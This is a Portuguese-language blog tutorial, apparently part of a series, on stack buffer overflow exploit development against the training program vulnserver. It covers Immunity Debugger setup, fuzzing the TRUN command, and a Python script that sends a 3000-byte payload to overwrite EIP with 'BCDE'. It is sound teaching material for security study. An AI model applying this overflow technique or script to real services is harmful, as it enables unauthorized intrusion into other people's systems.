Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano eip-exploit-2

Na janela do nano, digite ou cole este código abaixo .
Substitua o endereço IP com o endereço IP da sua máquina.


#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = 'BCDE'
padding = 'F' * (3000 - 2006 - 4)
attack = prefix + eip + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, com o tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script  irá enviar um ataque de 3000 bytes para o servidor, que consiste de 2006 caracteres 'A'  seguido por 'BCDE', que deve acabar no EIPcaracteres ' F ' suficientes para fazer o total de 3000 bytes.

Em seguida, você precisa executável o script . Para isso, no Kali Linux, noterminal, execute o comando:

root@kali:~# python eip-exploit-2

Olhando para o windows no canto inferior esquerdo da janela do Immunity agora diz "Violação de acesso ao executar [45444342]", 
Vamos converter esse hex para caractere:

Hex  Character
-------  ----------
 45      E
 44      D
 43      C
 42      B


Assim, os caracteres são 'EDCB'. No entanto como eu já falei antes, os processadores Intel são "Little Endian", pelo que os endereços são inseridos na ordem inversa, de modo que os caracteres reais que foram colocados no EIP foram 'BCDE', como mostrado abaixo.
Este é o sucesso, esses valores hexadecimais são 'BCDE' na ordem inversa.


Examinando a Memória do ESP
Ainda com os script e o Immunity em execulção.

Parte 4 Clicando aqui

Read More

Buffer Overflow | Devenlop Exploit - Parte 2

Instalando o Immunity Debugger;
Vamos baixar e instalar o Immunity Debugger
Site, Alternativo aqui . Quando o download terminar, dê um duplo clique no arquivo ImmunityDebugger_1_85_setup e instale o software com as opções padrão. Ele também irá instalar Python.

Iniciando Immunity e anexando um Processo;
Na sua desktop vá até o icone do immunity e o execulte. Essa é a janela que você verá

Agora vamos anexar um processo em execução para a immunity. Isso vai encapsular o processo dentro Immunity, Assim podemos analizar processo e controlar.
Na barra do menu Immunity Debugger, clique em File, Attach.
Em "Select process to attach" na caixa selecione o vulnserver como mostra abaixo e clique em Attach

Modificando a aparência do Immunit;
Vamos modificar a aparência dos  painéis no Immunity que estão com os textos muito pequeno, como mostrado abaixo. 

Isso é muita informação para perceber imediatamente, e muito difícil de ler.
Para tornar o texto mais legível, clique com o botão direito do mouse em algum lugar no top painel, No menu de contexto, clique em Appearance, "Font (all)", "OEM fixed font", como mostrado abaixo. O tipo de letra se torna mais clara.

No painel esquerdo inferior, clique  com o botão direito do mouse e clique em: Hex ", Hex/ASCII (16 bytes)", como mostrado abaixo.

Compreendendo as janelas do Immunity;
Está é a "CPU Windows" do Immunity,

ASSEMBLY CODE ( Esta é a parte mais difícil de se compreender. Ela mostra as instruções do processador, um de cada vez na "Linguagem Assembly", instruções como MOV e CMP. A linguagem assembly é difícil de aprender, mas você não precisa aprender muito para desenvolver exploits simples. )
            
REGISTERS ( Os itens mais importantes aqui são: ) ++ Clica aqui
     EIP: Ponteiro de instrução (contador de programa) - É o endereço da próxima instrução a ser processado.
     ESP: Ponteiro de pilha - É o topo da pilha
     EBP: Ponteiro base da pilha  -  É a parte inferior do ponteiro de pilha
     
HEX DUMP ( Isso mostra uma região da memória em hexadecimal à esquerda e à direita em ASCII. simples de desenvolvimento o exploit , vamos usar esse painel para olhar para regiões de memória alvo, geralmente rotulados com texto ASCII. )

STACK ( Isso mostra o conteúdo da pilha, mas ele é apresentado de uma forma que não é muito útil para nós agora. Para este projeto, desconsidere este painel. )

CURRENT INSTRUCTION (Mostra exatamente a instrução do processo que está em execução no momento.  O Immunity foi atribuído automaticamente em um ponto de interrupção do início do processo e agora a sua execução foi interrompida. )

STATUS ( Mostra se o programa está em pausa ou em execução. Quando Immunity atribui um processo, o processo inicia-se no estado pausado.

Executando o servidor vulnerável no Immunity;
No menu do Immunity Debugger, no canto superior esquerdo, clique no botão Run, como mostrado abaixo. Isso executa o servidor vulnerável dentro do depurador, para que possamos trabalhar

Observando o servidor no Immunity;
Na máquina Kali vamos execultar o script fuzz e inserir em:
"Tamanho do Ataque" 2000 bytes. o servidor não responde pois ele está falhando.

root@kali:~# python fuzz
Length of attack: 2000
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack length  2000  to TRUN .

Agora olhando para o windows no Immunity, no canto  inferior esquerdo, você verá "Violação de acesso para [41414141], como mostrado abaixo.


"41" é o código em hexadecimal para o caractere "A", como mostrado abaixo.








Isto significa que os caracteres 'A' você foram enviados e de alguma forma mal interpretada pelo servidor como um endereço para gravar dados. Os endereços são 32 bits de comprimento, que é de 4 bytes, e 'A' é de 41 em hexadecimal, por isso, tornou-se o endereço 41414141.

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em SIM. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN



Enviando 3000 caracteres 'A'
Na máquina Kali vamos execultar o script fuzz mais uma vez e inserir em:
"Tamanho do Ataque" 3000 bytes. o servidor não responde pois ele está falhando.

root@kali:~# python fuzz
Length of attack: 30000
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack length  30000  to TRUN .

Olhando para o windows na janela do Immunity, no canto inferior esquerdo, você verá "Violação de acesso ao executar [41414141], Também destaquei uns intens em Registers <FPU> como mostrado abaixo.














Este é o clássico de  explorar o buffer overflow , Os caracteres injectados são colocados em EIP quando uma sub-rotina retorna, portanto, tornam-se o endereço da próxima instrução a ser executada.
41414141 não é um endereço válido, portanto Immunity detecta que o programa está falhando e faz uma pausa para que você possa ver o que está acontecendo. Isso é comum em desenvolvimento do exploit  - O comprimento do ataque tem resultados diferentes do ataque de 2000 bytes como fizemos antes.
A partir de agora, vamos usar um comprimento de 3000 para todos os ataques.

Reinicie o servidor vulnerável novamente
"como você fez antes lá em cima"
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart,  e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN

Criando um padrão não-repetido de caracteres

Ir para a terceira parte clicando aqui

Read More